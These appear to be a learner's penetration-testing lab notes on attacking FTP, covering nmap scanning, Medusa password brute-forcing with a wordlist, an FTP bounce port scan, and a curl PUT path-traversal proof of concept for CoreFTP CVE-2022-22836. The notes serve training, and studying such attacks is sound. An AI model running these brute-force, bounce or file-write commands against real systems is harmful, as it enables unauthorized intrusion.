nmap NSE script ftp-anon
-sV will return banner and version
think about what ftp does - uploads/downloads files - yes, but what can we do with that? in the context of a web application, using other vulnerbailities i.e. path traversal, we can find out where this file is located and execute it as php code for example.
bruteforcing Medusa - https://github.com/jmk-foofus/medusa
- -u, specify single user
- -U file
- -P list pw
- -M and protocol (FTP for example)
- -h hostname
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
┌──(root㉿kali)-[~/cpts/attacking-common/ftp/mod1]
└─# medusa -h 10.129.203.6 -U users.list -P passwords.list -M ftp -n 2121
important note about medusa, it doesnt stop on success, you will have to inspect stdout to see results. -F to stop on success
FTP Bounce attack FTP bounce attack is a network attack that uses ftp servers to deliver outbound traffic to another device on the network. Attacker uses PORT command to trick the FTP connection into running commands and getting information from a device other than the intended server.
i.e. FTP_DMZ server exposed internet same network device INTERNAL_DMZ internally we can use FTP_DMZ connection to scan INTERNAL_DMZ with ftp bounce and obtain information about open ports. https://www.geeksforgeeks.org/what-is-ftp-bounce-attack/
this can be done with the nmap -b flag -
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
Known FTP vulns
https://nvd.nist.gov/vuln/detail/CVE-2022-22836
CoreFTP before build 727
This vulnerability is for an FTP service that does not correctly process the HTTP PUT request and leads to an authenticated directory/path traversal, and arbitrary file write vulnerability.
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
We create a raw HTTP PUT request (-X PUT) with basic auth (--basic -u <username>:<password>), the path for the file (--path-as-is https://<IP>/../../../../../whoops), and its content (--data-binary "PoC.") with this command. Additionally, we specify the host header (-H "Host: <IP>") with the IP address of our target system.